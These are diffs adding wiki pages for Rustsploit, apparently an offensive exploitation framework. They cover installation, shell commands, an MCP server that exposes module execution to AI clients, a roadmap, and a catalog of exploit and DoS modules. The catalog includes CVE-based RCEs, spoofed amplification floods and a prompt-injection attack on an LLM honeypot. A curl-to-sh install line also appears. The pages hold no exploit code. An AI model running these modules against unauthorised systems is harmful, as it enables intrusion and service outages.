- **Random targets** — `random` or `0.0.0.0/0` generates random public IPs with `EXCLUDED_RANGES` enforcement
The dispatcher calls the module's `run()` function once per resolved target. Modules only need to handle a single target string.
+59
View File
@@ -0,0 +1,59 @@
# Future Features Roadmap
Rustsploit is under active development. Below are some of the major features planned for upcoming releases.
## Recently Completed
### 3rd-Party Plugin System
The `plugins/` directory is now fully operational. Drop `.rs` files into `src/modules/plugins/` with the standard `pub async fn run(target: &str)` signature and they are auto-discovered at build time. A safety warning is displayed at shell and API startup when plugins are loaded.
### Framework Services (Metasploit Parity)
The following Metasploit-inspired features have been implemented:
- **Module Metadata** (`info` command) — CVE, author, rank, description per module
- **Vulnerability Check** (`check` command) — Non-destructive verification
- **Global Options** (`setg`/`unsetg`) — Persistent options across modules
- **Credential Store** (`creds`) — Track discovered credentials with JSON persistence
- **Host/Service Tracking** (`hosts`/`services`) — Workspace-based engagement data
- **Loot Management** (`loot`) — Structured evidence collection
- **Resource Scripts** (`resource`) — Automation from script files
- **Console Logging** (`spool`) — Capture all output to file
- **Background Jobs** (`run -j`/`jobs`) — Async module execution
- **Export/Reporting** (`export`) — JSON, CSV, and summary reports
---
## Planned Features
### 1. Instant Configuration Loading
Currently, modules are configured interactively or via API JSON payloads. We plan to add support for instantly loading configuration profiles from disk.
- **Goal:** Allow users to save their favorite scan parameters (wordlists, threads, timeouts) to a `.toml` or `.yaml` file and load them instantly.
- **Usage Idea:** `run exploits/tomcat_rce --config profiles/aggressive.toml` or `set config profiles/aggressive.toml` in the shell.
### 2. Dynamic Source Port Modification
While we currently support advanced networking like IP spoofing in specific flood modules, we plan to bring dynamic source port control to the framework level.
- **Goal:** Allow scanners and exploit modules to bind to specific source ports (e.g., source port 53) to bypass poorly configured firewalls that trust traffic originating from privileged ports.
- **Implementation:** Extending the global configuration and socket helpers to accept an optional `bind_port` parameter.
### 3. Session/Handler Management
Add Metasploit-style session management with reverse/bind shell handlers.
- **Goal:** Multi/handler listener, session listing/interaction, background sessions.
- **Implementation:** Listener framework with TCP/HTTP handlers, session tracking with numeric IDs.
### 4. Post-Exploitation Modules
Add a `post/` module category for post-exploitation tasks.
- **Goal:** Privilege escalation checks, persistence mechanisms, credential extraction, lateral movement.
- **Implementation:** New module category auto-discovered by build.rs.
### 5. Network Pivoting
Route traffic through compromised hosts.
- **Goal:** SOCKS proxy, port forwarding, autoroute through sessions.
- **Implementation:** Requires session management (Feature 3) first.
### 6. Nmap Integration
Import scan results directly into the workspace.
- **Goal:** `db_import` command for Nmap XML, populate hosts/services automatically.
- **Implementation:** Parse Nmap XML output and feed into workspace.
---
*If you'd like to contribute to any of these features, please check out the [Contributing Guide](Contributing.md) and open a pull request!*
+145
View File
@@ -0,0 +1,145 @@
# Getting Started
Rustsploit is a modular offensive tooling framework for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. It ships an interactive shell, a CLI runner, a WebSocket API server with post-quantum encryption, and an ever-growing library of exploits, scanners, and credential modules.
---
## Requirements
### System Dependencies
**Debian / Ubuntu / Kali:**
```bash
sudo apt update && sudo apt install -y build-essential pkg-config libssl-dev libdbus-1-dev cmake
```
**Arch Linux:**
```bash
sudo pacman -S base-devel pkgconf openssl dbus cmake
```
**Gentoo:**
```bash
sudo emerge dev-libs/openssl dev-util/pkgconf sys-apps/dbus dev-build/cmake
```
**Fedora / RHEL:**
```bash
sudo dnf install gcc make pkgconf-pkg-config openssl-devel dbus-devel cmake
```
### Rust & Cargo
```bash
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source $HOME/.cargo/env
```
> Rust 1.85+ is required (edition 2024). Run `rustup update` to stay current.
---
## Clone & Build
```bash
git clone https://github.com/s-b-repo/rustsploit.git
cd rustsploit
cargo build
```
For a release-optimized binary:
```bash
cargo build --release
# Binary written to target/release/rustsploit
```
---
## Run
### Interactive Shell
```bash
cargo run
```
### CLI (non-interactive)
```bash
cargo run -- -m exploits/heartbleed -t 192.168.1.1
```
See [CLI Reference](CLI-Reference.md) for all flags.
### API Server
```bash
cargo run -- --api
```
This starts the PQ-encrypted API server on port 8080. On first run it generates a host key pair at `~/.rustsploit/pq_host_key` and prints its fingerprint. Clients must be listed in `~/.rustsploit/pq_authorized_keys` to connect. No TLS or API keys — authentication uses SSH-style post-quantum identity keys. See [API Server](API-Server.md) and [API Usage Examples](API-Usage-Examples.md) for details.
---
## Docker Deployment
Rustsploit ships a provisioning script that builds and launches the API inside Docker.
### Requirements
- Docker Engine 24+ (or Docker Desktop)
- Docker Compose plugin (`docker compose`) or legacy `docker-compose`
- Python 3.8+
### Interactive Setup
```bash
python3 scripts/setup_docker.py
```
The helper will:
1. Confirm you are in the repository root (`Cargo.toml` present).
2. Ask how the API should bind (`127.0.0.1`, `0.0.0.0`, detected LAN IP, or custom `host:port`).
3. Generate or configure PQ identity keys for the API server.
4. Toggle hardening mode and tune the IP limit.
5. Generate:
- `docker/Dockerfile.api`
- `docker/entrypoint.sh`
- `.env.rustsploit-docker`
- `docker-compose.rustsploit.yml`
6. Optionally run `docker compose up -d --build` with BuildKit enabled.
Existing files are never overwritten without confirmation.
### Non-Interactive / CI
```bash
python3 scripts/setup_docker.py \
--bind 0.0.0.0:8443 \
--generate-key \
--enable-hardening \
# PQ identity keys auto-generated on first run
--skip-up \
--force \
--non-interactive
```
To start the stack later:
```bash
docker compose -f docker-compose.rustsploit.yml up -d --build
```
---
## Privacy / VPN
The built-in proxy system has been removed in favor of system-level VPN solutions.
We recommend **[Mullvad VPN](https://mullvad.net)**:
- No registration — account numbers generated without email or personal data
- Proven no-logs policy with audited infrastructure
- WireGuard support for high-performance, low-latency tunneling
- Excellent Linux CLI for headless setups
Connect the VPN on your host before running Rustsploit and all traffic routes through the tunnel automatically.
---
> ⚠️ For authorized security testing and research only. Obtain explicit written permission before targeting any system you do not own.
+39
View File
@@ -0,0 +1,39 @@
# Rustsploit Wiki
Welcome to the Rustsploit documentation hub. Use the links below to navigate to the relevant guide.
> ⚠️ Rustsploit is intended for **authorized security testing and research only**. Always obtain explicit written permission before targeting any system you do not own.
---
## 📖 Documentation Index
| Document | Description |
|----------|-------------|
| [Getting Started](Getting-Started.md) | Installation, build, quick-start, Docker deployment |
| [Interactive Shell](Interactive-Shell.md) | Shell walkthrough, command palette, chaining, shortcuts |
| [CLI Reference](CLI-Reference.md) | Command-line flags, non-shell usage, output formats |
| [API Server](API-Server.md) | WebSocket API, PQ encryption, endpoints, rate limiting |
| [API Usage Examples](API-Usage-Examples.md) | Practical curl workflows, request/response samples |
| [Module Catalog](Module-Catalog.md) | All 240 modules by category — 183 exploits, 27 scanners, 29 creds, 1 plugin |
| [Module Development](Module-Development.md) | How to author new modules, lifecycle, dispatcher |
| [Security & Validation](Security-Validation.md) | Input validation constants, security patterns, honeypot detection |
| [Credential Modules Guide](Credential-Modules-Guide.md) | Best practices for 29 cred modules — mass scan, cfg_prompt_*, concurrency |
| [Exploit Modules Guide](Exploit-Modules-Guide.md) | Best practices for 183 exploit modules — multi-target, cfg_prompt_*, validation |
| [Utilities & Helpers](Utilities-Helpers.md) | `utils.rs` public API, target normalization, honeypot check |
| [Testing & QA](Testing-QA.md) | Build checks (0 errors, 0 warnings), smoke tests, wordlist validation |
| [Changelog](Changelog.md) | Release notes and version history (current: v0.4.8) |
| [Contributing](Contributing.md) | Fork guide, PR checklist, code style |
| [Credits](Credits.md) | Authors, acknowledgements, legal notice |
| [Future Features](Future-Features.md) | Roadmap and completed features (plugins, metadata, global options, etc.) |
| [About Me](About-Me.md) | Information about the author |
| [Donation](Donation.md) | Ways to support the project |
---
## Quick Navigation
- **New user?** → Start with [Getting Started](Getting-Started.md)
- **Writing a module?** → See [Module Development](Module-Development.md)
- **Using the API?** → See [API Server](API-Server.md) + [API Usage Examples](API-Usage-Examples.md)
- **Running from CLI?** → See [CLI Reference](CLI-Reference.md)
+220
View File
@@ -0,0 +1,220 @@
# Interactive Shell
Rustsploit's shell (`src/shell.rs`) provides an ergonomic command palette with shortcuts, module/target state tracking, and honeypot detection. Launch it with:
```bash
cargo run
```
---
## Command Palette
All commands are **case-insensitive** and support aliases:
| Command | Shortcuts | Description |
|---------|-----------|-------------|
| `help` | `h`, `?` | Show command reference |
| `modules` | `list`, `ls`, `m` | List all discovered modules |
| `find <kw>` | `search`, `f`, `f1` | Search modules by keyword |
| `use <path>` | `u <path>` | Select a module |
| `info [path]` | `i` | Show module metadata (CVE, author, rank) |
| `back` | `b`, `clear`, `reset` | Deselect current module and target |
| `set target <val>` | `t <val>` | Set target (IPv4/IPv6/hostname/CIDR) |
| `set subnet <CIDR>` | `sn <CIDR>` | Set target to a CIDR subnet |
| `show_target` | `st`, `showtarget` | Display current target |
| `clear_target` | `ct`, `cleartarget` | Clear target |
| `run` | `go`, `exec` | Execute the selected module |
| `run -j` | | Run module as background job |
| `run_all` | `runall`, `ra` | Run module against all IPs in subnet |
| `check` | `ch` | Non-destructive vulnerability check |
| `setg <key> <val>` | `sg` | Set a global option (persists across modules) |
| `unsetg <key>` | `ug` | Remove a global option |
| `show options` | `so` | Display all global options |
| `creds` | | List stored credentials |
| `creds add` | | Add a credential interactively |
| `creds search <q>` | | Search credentials by host/service/user |
| `creds delete <id>` | | Delete a credential by ID |
| `creds clear` | | Clear all credentials |
| `hosts` | | List tracked hosts |
| `hosts add <ip>` | | Add a host to workspace |
| `services` | `svcs` | List tracked services |
| `services add` | | Add a service interactively |
| `notes <ip> <text>` | | Add a note to a host |
| `workspace [name]` | `ws` | Show or switch workspaces |
| `loot` | | List collected loot |
| `loot add` | | Add loot interactively |
| `loot search <q>` | | Search loot |
| `resource <file>` | `rc` | Execute a resource script |
| `makerc <file>` | | Save command history to file |
| `spool <file>` | | Log console output to file |
| `spool off` | | Stop console logging |
| `export json <f>` | | Export all data to JSON |
| `export csv <f>` | | Export all data to CSV |
| `export summary <f>` | | Export human-readable report |
| `jobs` | `j` | List background jobs |
| `jobs -k <id>` | | Kill a background job |
| `jobs clean` | | Clean up finished jobs |
| `exit` | `quit`, `q` | Leave the shell |
---
## Example Session
```text
rsf> f1 ssh
rsf> u creds/generic/ssh_bruteforce
rsf> set target 10.10.10.10
rsf> go
```
---
## Command Chaining
Execute multiple commands on one line using the `&` separator:
```text
rsf> u creds/generic/ssh_bruteforce & set target 10.10.10.10 & go
rsf> f1 ssh & u creds/generic/ssh_bruteforce & set target 192.168.1.1
```
Commands are parsed and executed left-to-right. Useful for scripting quick workflows.
---
## Target Normalization
When you run `set target`, the value is normalized and validated automatically. Supported formats:
| Format | Example |
|--------|---------|
| IPv4 | `192.168.1.1` |
| IPv4 + port | `192.168.1.1:8080` |
| IPv6 | `::1`, `2001:db8::1` |
| IPv6 + port | `[::1]:8080` |
| Hostname | `example.com`, `example.com:443` |
| URL | `http://example.com:8080` |
| CIDR | `192.168.1.0/24`, `2001:db8::/32` |
Security checks (length, control characters, path traversal) are enforced at the framework level.
### Multi-Target Support
The framework-level dispatcher handles multiple target types transparently for all modules. You do not need per-module support for these formats:
| Format | Example |
|--------|---------|
| Comma-separated | `t 192.168.1.1, 192.168.1.2, 192.168.1.3` |
| CIDR range | `t 192.168.1.0/24` |
| File of targets | `t /path/to/targets.txt` |
| Random scanning | `t random` or `t 0.0.0.0/0` |
All modules benefit from this automatically -- the dispatcher expands multi-target values and invokes the module once per resolved target.
---
## Honeypot Detection
After a target is set, Rustsploit automatically runs a honeypot check before module execution:
- Scans **200 common ports** with a 250 ms timeout each.
- If **11 or more** ports are open, it warns that the target is likely a honeypot.
- Runs automatically on every `run`/`go` invocation.
Manual call (from module code): `utils::basic_honeypot_check(&ip).await`
---
## Global Options
Use `setg` to set options that persist across all module executions. These are checked by `cfg_prompt_*` functions after API custom_prompts but before interactive stdin:
```text
rsf> setg port 8080
rsf> setg concurrency 50
rsf> show options
rsf> unsetg port
```
Global options are saved to `~/.rustsploit/global_options.json` and loaded on startup.
### Common Global Options
| Option | Example | Effect |
|--------|---------|--------|
| `port` | `setg port 443` | Default port for all modules |
| `source_port` | `setg source_port 31337` | Outbound source port |
| `honeypot_detection` | `setg honeypot_detection n` | Disable honeypot checks before `run` |
| `timeout` | `setg timeout 30` | Connection timeout (seconds) |
| `concurrency` | `setg concurrency 50` | Default thread count |
| `verbose` | `setg verbose y` | Verbose output |
| `username_wordlist` | `setg username_wordlist users.txt` | Default username wordlist |
| `password_wordlist` | `setg password_wordlist pass.txt` | Default password wordlist |
| `stop_on_success` | `setg stop_on_success y` | Stop on first valid credential |
| `save_results` | `setg save_results y` | Auto-save results to file |
| `combo_mode` | `setg combo_mode y` | Full user x pass combination mode |
| Any custom key | `setg my_key value` | Modules read via `cfg_prompt_*` |
---
## Resource Scripts
Automate workflows by writing commands to a file and executing them:
```text
rsf> resource scan_network.rc
```
Script format (one command per line, `#` for comments):
```text
# scan_network.rc
set target 192.168.1.0/24
use scanners/port_scanner
run
```
Auto-loads `~/.rustsploit/startup.rc` on shell startup if it exists. Use `makerc history.rc` to save your command history.
---
## Data Management
Rustsploit tracks engagement data across sessions:
- **Credentials** (`creds`): Store discovered credentials with host, port, service, username, and type
- **Hosts** (`hosts`): Track discovered hosts with hostname, OS, and notes
- **Services** (`services`): Track discovered services per host
- **Loot** (`loot`): Store collected evidence (configs, hashes, firmware)
- **Workspaces** (`workspace`): Isolate data per engagement
Export all data with `export json report.json`, `export csv report.csv`, or `export summary report.txt`.
---
## Background Jobs
Run modules in the background with `run -j`:
```text
rsf> use creds/generic/ssh_bruteforce
rsf> set target 192.168.1.1
rsf> run -j
[*] Job 1 started: creds/generic/ssh_bruteforce against 192.168.1.1
rsf> jobs
rsf> jobs -k 1
```
---
## Shell Architecture
Key details from `src/shell.rs`:
- **`ShellContext`** — stores `current_module`, `current_target`, and `verbose` flag.
- **`execute_single_command()`** — the command dispatcher, extracted as a standalone function for resource script support.
- **`split_command` / `resolve_command`** — normalize shortcut aliases to canonical keys.
- **`render_help()`** — prints the colorized command table.
- **Selective persistence** — `global_options.json`, `creds.json`, workspace files, and loot are persisted across sessions in `~/.rustsploit/`. Transient shell state (selected module, current target, verbose flag) is reset on exit.
Tab completion and command history are powered by `rustyline`.
+222
View File
@@ -0,0 +1,222 @@
# MCP Integration
Rustsploit includes a built-in MCP (Model Context Protocol) server that enables integration with Claude Desktop and other MCP-compatible clients. The server communicates via JSON-RPC 2.0 over stdio (stdin/stdout), with no network listener.
---
## Starting the MCP Server
```bash
cargo run -- --mcp
```
The server reads one JSON-RPC 2.0 request per line from stdin and writes one response per line to stdout. Diagnostic messages go to stderr.
---
## Protocol
- **Transport**: Newline-delimited JSON over stdio
- **Protocol version**: `2024-11-05`
- **Capabilities**: `tools`, `resources`
- **Server name**: `rustsploit-mcp`
### Supported JSON-RPC Methods
| Method | Type | Description |
|--------|------|-------------|
| `initialize` | Request | Capability negotiation handshake |
| `initialized` | Notification | Client acknowledgement (no response) |
| `tools/list` | Request | List all available tools |
| `tools/call` | Request | Execute a tool by name |
| `resources/list` | Request | List all available resources |
| `resources/read` | Request | Read a resource by URI |
---
## Tools (42)
### Module Tools
| Tool | Description | Required Params |
|------|-------------|-----------------|
| `list_modules` | List all available modules, optionally filtered by category | -- |
| `search_modules` | Search modules by keyword (case-insensitive substring match) | `query` |
| `module_info` | Get metadata for a specific module (name, description, authors, references, rank) | `module_path` |
| `check_module` | Run a non-destructive vulnerability check against a target | `module_path`, `target` |
### Target Tools
| Tool | Description | Required Params |
|------|-------------|-----------------|
| `set_target` | Set the global target (IP, hostname, CIDR, or comma-separated list) | `target` |
| `get_target` | Get the current global target, size, and subnet status | -- |
| `clear_target` | Clear the global target | -- |
### Execution
| Tool | Description | Required Params |
|------|-------------|-----------------|
| `run_module` | Execute a module against a target, returning captured output | `module_path`, `target` |
Optional params for `run_module`: `port` (integer), `verbose` (boolean), `prompts` (object of key-value string overrides).
### Credential Tools
Credentials are per-workspace -- each workspace maintains its own credential store at `~/.rustsploit/workspaces/{name}_creds.json`. Switching workspaces via `switch_workspace` loads that workspace's credentials.
| Tool | Description | Required Params |
|------|-------------|-----------------|
| `list_creds` | List all stored credentials in the current workspace | -- |
| `search_creds` | Search credentials by host, service, or username in the current workspace | `query` |
| `add_cred` | Add a credential to the current workspace's store | `host`, `username`, `secret` |
| `delete_cred` | Delete a credential by its ID from the current workspace | `id` |
Optional params for `add_cred`: `port` (integer), `service` (string), `cred_type` (password/hash/key/token).
### Workspace Host and Service Tools
| Tool | Description | Required Params |
|------|-------------|-----------------|
| `list_hosts` | List all tracked hosts in the current workspace | -- |
| `add_host` | Add or update a host in the workspace | `ip` |
| `delete_host` | Delete a host (and its services) from the workspace | `ip` |
| `list_services` | List all tracked services in the current workspace | -- |
| `add_service` | Add or update a service in the workspace | `host`, `port`, `service_name` |
| `delete_service` | Delete a service by host and port | `host`, `port` |
Optional params for `add_host`: `hostname`, `os_guess`. Optional params for `add_service`: `protocol` (default: tcp), `version`.
### Loot Tools
| Tool | Description | Required Params |
|------|-------------|-----------------|
| `list_loot` | List all stored loot entries | -- |
| `search_loot` | Search loot by host, type, or description | `query` |
| `add_loot` | Store a loot entry (text data) | `host`, `loot_type`, `data` |
| `delete_loot` | Delete a loot entry by ID | `id` |
Optional params for `add_loot`: `description`.
### Global Options Tools
Options are per-workspace -- they are scoped to the current workspace and stored at `~/.rustsploit/workspaces/{name}_options.json`. Switching workspaces via `switch_workspace` loads that workspace's options.
| Tool | Description | Required Params |
|------|-------------|-----------------|
| `list_options` | List all persistent global options (setg values) for the current workspace | -- |
| `set_option` | Set a persistent global option in the current workspace | `key`, `value` |
| `unset_option` | Remove a persistent global option from the current workspace | `key` |
### Job Tools
| Tool | Description | Required Params |
|------|-------------|-----------------|
| `list_jobs` | List active background jobs | -- |
| `kill_job` | Kill a background job by ID | `id` (integer) |
### Workspace Management Tools
| Tool | Description | Required Params |
|------|-------------|-----------------|
| `list_workspaces` | List all available workspaces | -- |
| `switch_workspace` | Switch to a different workspace (creates if needed) | `name` |
### Export
| Tool | Description | Required Params |
|------|-------------|-----------------|
| `export_data` | Export full engagement data as JSON | -- |
---
## Resources (7)
Resources provide read-only access to framework state.
| URI | Name | Description | MIME Type |
|-----|------|-------------|-----------|
| `rustsploit:///modules` | Module Catalog | Full module list with `info()` metadata | `application/json` |
| `rustsploit:///workspace` | Current Workspace | Tracked hosts and services | `application/json` |
| `rustsploit:///credentials` | Credentials | Credential list with secrets redacted | `application/json` |
| `rustsploit:///loot` | Loot Catalog | Loot metadata (no file content) | `application/json` |
| `rustsploit:///options` | Global Options | Persistent setg key-value pairs | `application/json` |
| `rustsploit:///target` | Current Target | Target value, size, and subnet flag | `application/json` |
| `rustsploit:///status` | Framework Status | Module count, workspace, host/cred/loot counts | `application/json` |
---
## Claude Desktop Configuration
Add the following to your `claude_desktop_config.json`:
```json
{
"mcpServers": {
"rustsploit": {
"command": "/path/to/rustsploit",
"args": ["--mcp"]
}
}
}
```
Replace `/path/to/rustsploit` with the absolute path to your compiled binary (e.g., `target/release/rustsploit`).
---
## Security
- **Stdio transport only** -- no network listener, no authentication needed (single-user process)
- **Target injection prevention** -- `run_module` strips any `target` key from the `prompts` object to prevent SSRF via prompt injection
- **Module validation** -- module paths are verified against the build-time discovered module list before execution
- **Credential redaction** -- the `rustsploit:///credentials` resource shows only the first 3 characters of each secret
- **No file system writes** -- MCP tools return data inline; no direct file read/write operations are exposed
- **Concurrency bounded** -- module execution is limited by the framework's semaphore (CPU count, minimum 4 concurrent)
---
## Architecture
```
src/mcp/
mod.rs -- Module re-exports
types.rs -- JSON-RPC 2.0 types, MCP capability structs, Tool/Resource/ToolResult types
server.rs -- Stdio event loop, request routing, response serialization
tools.rs -- 42 tool definitions and dispatch handlers
resources.rs -- 7 resource definitions and read handlers
client.rs -- MCP client implementation (for connecting to external MCP servers)
```
### Request Flow
1. `server.rs` reads a JSON line from stdin
2. Parses it as a `JsonRpcRequest`
3. Routes by method name: `initialize`, `tools/list`, `tools/call`, `resources/list`, `resources/read`
4. Handler extracts typed parameters from `params`
5. Calls framework APIs (same functions used by the REST API and interactive shell)
6. Returns a `JsonRpcResponse` serialized as a single JSON line on stdout
---
## Example Session
```
-> {"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}
<- {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2024-11-05","capabilities":{"tools":{},"resources":{}},"serverInfo":{"name":"rustsploit-mcp","version":"0.4.8"}}}
-> {"jsonrpc":"2.0","method":"initialized","params":{}}
-> {"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}
<- {"jsonrpc":"2.0","id":2,"result":{"tools":[...]}}
-> {"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"set_target","arguments":{"target":"192.168.1.1"}}}
<- {"jsonrpc":"2.0","id":3,"result":{"content":[{"type":"text","text":"Target set to: 192.168.1.1"}]}}
-> {"jsonrpc":"2.0","id":4,"method":"resources/read","params":{"uri":"rustsploit:///status"}}
<- {"jsonrpc":"2.0","id":4,"result":{"uri":"rustsploit:///status","mimeType":"application/json","text":"{...}"}}
```
---
> The MCP server uses the same framework internals as the REST API and interactive shell. Module execution, credential storage, workspace tracking, and all other operations produce identical results regardless of the interface used.
+484
View File
@@ -0,0 +1,484 @@
# Module Catalog
All modules live under `src/modules/` and are auto-discovered by `build.rs`. Use the shell's `modules` command or `find <keyword>` for the live list. Use `info <module>` to see metadata (CVE, author, rank) if available.
> **Module categories:** `exploits/`, `scanners/`, `creds/`, `plugins/` -- all auto-discovered at build time. Adding a new subdirectory under `src/modules/` automatically creates a new category.
**Totals:** 183 exploit modules, 27 scanners, 29 credential modules, 1 plugin.
---
## Exploits
### Bluetooth
| Module Path | Description |
|-------------|-------------|
| `exploits/bluetooth/wpair` | Hijacks Bluetooth accessories via Google Fast Pair protocol flaw allowing unauthorized bonding, account key injection, and audio interception |
### Cameras
| Module Path | Description |
|-------------|-------------|
| `exploits/cameras/abus/abussecurity_camera_cve202326609variant1` | Abus security camera LFI, RCE, and SSH root access (CVE-2023-26609) |
| `exploits/cameras/acti/acm_5611_rce` | Command injection in ACTi ACM-5611 video cameras for RCE |
| `exploits/cameras/avtech/cve_2024_7029_avtech_camera` | AVTECH IP camera remote code execution (CVE-2024-7029) |
| `exploits/cameras/hikvision/hikvision_rce_cve_2021_36260` | Hikvision IP camera command injection RCE (CVE-2021-36260) |
| `exploits/cameras/reolink/reolink_rce_cve_2019_11001` | Reolink camera authenticated OS command injection via TestEmail (CVE-2019-11001) |
| `exploits/cameras/uniview/uniview_nvr_pwd_disclosure` | Uniview NVR remote credential extraction and decoding |
### Cowrie (SSH Honeypot)
| Module Path | Description |
|-------------|-------------|
| `exploits/cowrie/ansi_log_injection` | Injects ANSI/OSC escape sequences into cowrie session logs via unsanitized crontab arguments for terminal-level code execution on replay |
| `exploits/cowrie/llm_prompt_injection` | Exploits cowrie LLM mode where attacker commands are concatenated into the system prompt, coercing the LLM to echo real configuration data |
| `exploits/cowrie/ssrf_ipv6` | Bypasses cowrie SSRF blocklist via IPv6 addresses (fc00::/7, fe80::/10, ::ffff:0:0/96) and DNS-rebinding TOCTOU |
### Crypto
| Module Path | Description |
|-------------|-------------|
| `exploits/crypto/geth_dos_cve_2026_22862` | Go-Ethereum ECIES panic DoS via malformed encrypted messages (CVE-2026-22862) |
| `exploits/crypto/heartbleed` | OpenSSL Heartbleed memory leak exploitation (CVE-2014-0160) |
### Dionaea (Honeypot)
| Module Path | Description |
|-------------|-------------|
| `exploits/dionaea/mqtt_underflow` | Malformed MQTT PUBLISH with TopicLength exceeding MessageLength triggers parser desync/UnicodeDecodeError in dionaea |
| `exploits/dionaea/mssql_dos` | Crafted TDS7 LOGIN7 packet with misaligned password slice triggers unhandled UnicodeDecodeError in dionaea MSSQL handler |
| `exploits/dionaea/mysql_sqli` | MySQL COM_FIELD_LIST with SQLite injection in table name leaks dionaea internal DB schema |
| `exploits/dionaea/tftp_crash` | Malformed TFTP RRQ without trailing NUL causes struct.error in dionaea options parser |
### DoS / Stress Testing
| Module Path | Description |
|-------------|-------------|
| `exploits/dos/connection_exhaustion_flood` | FD-bounded TCP connection exhaustion with connect-and-drop |
| `exploits/dos/dns_amplification` | Spoofed DNS ANY queries to open resolvers for ~100x amplification |
| `exploits/dos/http_flood` | High-speed HTTP GET/POST flood with User-Agent rotation and cache busting |
| `exploits/dos/icmp_flood` | Raw ICMP echo request flood with optional source IP spoofing |
| `exploits/dos/memcached_amplification` | Spoofed memcached UDP stats requests for ~51,000x amplification |
| `exploits/dos/ntp_amplification` | Spoofed NTP MON_GETLIST_1 requests for ~556x amplification |
| `exploits/dos/null_syn_exhaustion` | Raw SYN flood with null-byte payloads, IP spoofing, >1M PPS |
| `exploits/dos/rudy` | R.U.D.Y. attack: slow POST body drip to exhaust server connection pools |
| `exploits/dos/slowloris` | Holds connections open with partial HTTP headers to exhaust connection pool |
| `exploits/dos/ssdp_amplification` | Spoofed SSDP M-SEARCH requests for ~30x amplification |
| `exploits/dos/syn_ack_flood` | SYN packets to reflectors with spoofed victim source IP for SYN-ACK reflection |
| `exploits/dos/tcp_connection_flood` | High-concurrency TCP connection flood with optional RST close and HTTP payload |
| `exploits/dos/telnet_iac_flood` | Telnet IAC negotiation flood exploiting unbounded SB/SE parsing and rapid WILL/DO option cycling |
| `exploits/dos/udp_flood` | High-speed UDP flood with random, null, and pattern payload modes |
### Frameworks
| Module Path | Description |
|-------------|-------------|
| `exploits/frameworks/apache_camel/cve_2025_27636_camel_header_injection` | Apache Camel < 4.10.2 HTTP header injection via Simple expression language for OS command execution (CVE-2025-27636) |
| `exploits/frameworks/apache_tomcat/catkiller_cve_2025_31650` | Apache Tomcat memory leak via invalid HTTP/2 priority headers (CVE-2025-31650) |
| `exploits/frameworks/apache_tomcat/cve_2025_24813_apache_tomcat_rce` | Apache Tomcat deserialization RCE (CVE-2025-24813) |
| `exploits/frameworks/apache_tomcat/cve_2025_24813_tomcat_put_rce` | Apache Tomcat unauthenticated RCE via partial PUT and Java deserialization (CVE-2025-24813) |
| `exploits/frameworks/exim/exim_etrn_sqli_cve_2025_26794` | Exim ETRN time-based SQL injection with SQLite backend (CVE-2025-26794) |
| `exploits/frameworks/http2/cve_2023_44487_http2_rapid_reset` | HTTP/2 Rapid Reset DoS via rapid stream creation and reset (CVE-2023-44487) |
| `exploits/frameworks/jenkins/jenkins_2_441_lfi` | Jenkins CLI arbitrary file read via args4j @-expansion (CVE-2024-23897) |
| `exploits/frameworks/jenkins/jenkins_args4j_rce_cve_2024_24549` | Jenkins CLI args4j file leak via connect-node command error messages |
| `exploits/frameworks/jenkins/jenkins_cli_rce_cve_2024_23897` | Jenkins CLI argument injection for arbitrary file read (CVE-2024-23897) |
| `exploits/frameworks/mongo/mongobleed` | MongoDB zlib decompression heap memory disclosure (CVE-2025-14847) |
| `exploits/frameworks/nginx/nginx_pwner` | Nginx misconfiguration scanner: alias traversal, CRLF injection, PHP detection, and more |
| `exploits/frameworks/php/cve_2024_4577` | PHP CGI argument injection on Windows XAMPP for RCE (CVE-2024-4577) |
| `exploits/frameworks/php/cve_2025_51373_php_rce` | PHP CGI on Windows soft hyphen code-page conversion allows argument injection for auto_prepend_file RCE (CVE-2025-51373) |
| `exploits/frameworks/wsus/cve_2025_59287_wsus_rce` | Unauthenticated RCE in Windows Server Update Services (CVE-2025-59287) |
### FTP
| Module Path | Description |
|-------------|-------------|
| `exploits/ftp/ftp_bounce_test` | FTP bounce attack test via PORT commands to third-party hosts |
| `exploits/ftp/pachev_ftp_path_traversal_1_0` | Directory traversal in Pachev FTP Server 1.0 to read files outside FTP root |
### HoneyTrap (Honeypot)
| Module Path | Description |
|-------------|-------------|
| `exploits/honeytrap/docker_panic` | POST /v1.40/images/create without fromImage causes nil map panic in HoneyTrap Docker emulation — daemon exit |
| `exploits/honeytrap/ftp_panic` | Malformed FTP PORT command with insufficient fields causes slice out-of-range panic in HoneyTrap — daemon exit |
### IPMI
| Module Path | Description |
|-------------|-------------|
| `exploits/ipmi/ipmi_enum_exploit` | IPMI enumeration with cipher 0 bypass, default credential brute force, and RAKP hash dumping |
### Network Infrastructure -- Commvault
| Module Path | Description |
|-------------|-------------|
| `exploits/network_infra/commvault/cve_2025_34028_commvault_rce` | Commvault Command Center < 11.38.0 unauthenticated path traversal file upload to RCE (CVE-2025-34028) |
### Network Infrastructure -- Citrix
| Module Path | Description |
|-------------|-------------|
| `exploits/network_infra/citrix/cve_2025_5777_citrixbleed2` | Citrix NetScaler ADC/Gateway out-of-bounds read in authentication endpoint |
### Network Infrastructure -- F5
| Module Path | Description |
|-------------|-------------|
| `exploits/network_infra/f5/cve_2025_53521_f5_bigip_rce` | Unauthenticated RCE in F5 BIG-IP Access Policy Manager (CVE-2025-53521) |
### Network Infrastructure -- Fortinet
| Module Path | Description |
|-------------|-------------|
| `exploits/network_infra/fortinet/forticloud_sso_auth_bypass_cve_2026_24858` | FortiCloud SSO authentication bypass via reused SSO tokens (CVE-2026-24858) |
| `exploits/network_infra/fortinet/fortigate_rce_cve_2024_21762` | FortiOS SSL VPN pre-auth heap-based buffer overflow RCE (CVE-2024-21762) |
| `exploits/network_infra/fortinet/fortimanager_rce_cve_2024_47575` | FortiManager fgfmd unauthenticated RCE via FGFM registration requests (CVE-2024-47575) |
| `exploits/network_infra/fortinet/fortios_auth_bypass_cve_2022_40684` | FortiOS/FortiProxy admin interface auth bypass via crafted HTTP headers (CVE-2022-40684) |
| `exploits/network_infra/fortinet/fortios_heap_overflow_cve_2023_27997` | FortiOS SSL VPN out-of-bounds write RCE via /remote/hostcheck_validate (CVE-2023-27997) |
